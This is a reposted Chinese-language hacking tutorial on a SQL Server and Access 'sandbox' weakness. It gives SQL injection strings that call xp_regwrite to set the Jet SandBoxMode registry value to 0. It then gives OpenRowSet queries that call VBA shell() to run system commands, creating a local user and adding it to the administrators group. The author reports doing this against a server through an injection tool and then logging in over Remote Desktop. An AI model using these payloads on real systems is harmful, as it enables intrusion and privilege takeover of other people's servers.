[sql server][access]沙箱漏洞

來源:互聯網
上載者:User

首先我在<Jet引擎可以調用VBA的shell()函數>(http://www.520hack.com)這份資料知道在accessl裡可以直接進行sql查詢,具體的在Access中測試.測試的SQL語句如下:

Select shell('c:/windows/system32/cmd.exe /c net user ray 123 /ad');

查看電腦管理的本機使用者,馬上發現多出一個ray使用者,說明語句成功執行了.接下來寫一個VBS指令碼任意串連一個mdb來測試這個SQL語句

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)

運行後會出現"運算式中的'Shell'函數未定義"的錯誤,<Jet引擎可以調用VBA的shell()函數>提到WINDOWS在Jet 引擎中設定了一個名為SandBoxMode的開關,它的註冊表位置在HKEY_LOCAL_MACHINE/SoftWare/Microsoft/ Jet/4.0/Engine/SandBoxMode裡,0為在任何所有者中中都禁止起用安全設定,1為僅在允許的範圍之內,2則是必須是Access 的模式下,3則是完全開啟安全設定.預設情況下為2,只能在Access的模式下調用VBA的shell()函數,我們嘗試將此註冊表值改為0,結果成功的運行了VBS利用Jet引擎可以調用VBA的shell()函數執行了系統命令.

通常一台MSSQL伺服器同時支援Access資料庫,所以只要有一個sa或者dbowner的串連,就滿足了修改註冊表的條件,因為MSSQL有一個名為xp_regwrite的擴充,它的作用是修改註冊表的值.文法如下

exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value

如果存在一個sa或者dbowner的串連的SQL注入點,就可以構造出如下注入語句

InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engine','SandBoxMode','REG_DWORD','0'--

那我們將SandBoxMode開關的註冊表值修改為0就成功了.接著串連到一個Access資料庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access資料庫相關Select的注入點或者直接用ASP檔案Select調用這個VBA的shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是開啟一個特殊的資料庫或者串連到另一個資料庫之中.當我們有一個SA許可權串連的時候,就可以做到開啟Jet引擎串連到一個Access資料庫,同時我們搜尋系統檔案會發現windows系統目錄下本身就存在兩個Access資料庫,位置在%windir%/ system32/ias/ias.mdb或者%windir%/system32/ias/dnary.mdb,這樣一來我們又可以利用 OpenRowSet函數構造出如下注入語句:

InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/winnt/system32/ias/ias.mdb','select shell("net user ray 123 /ad")');--

如果你覺得不大好懂的話,我可以給你做一個簡化的理解:

1,Access可以調用VBS的函數,以System許可權執行任意命令

2,Access執行這個命令是有條件的,需要一個開關被開啟

3,這個開關在註冊表裡

4,SA是有許可權寫註冊表的

5,用SA寫註冊表的許可權開啟那個開關

6,調用Access裡的執行命令方法,以system許可權執行任意命令

所以,今天我使用HDSI的執行SQL命令,執行了以下命令:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user zyqq 123 /add")');

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators zyqq /add")');

最後,用這個新加上的使用者,成功登陸3389!

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.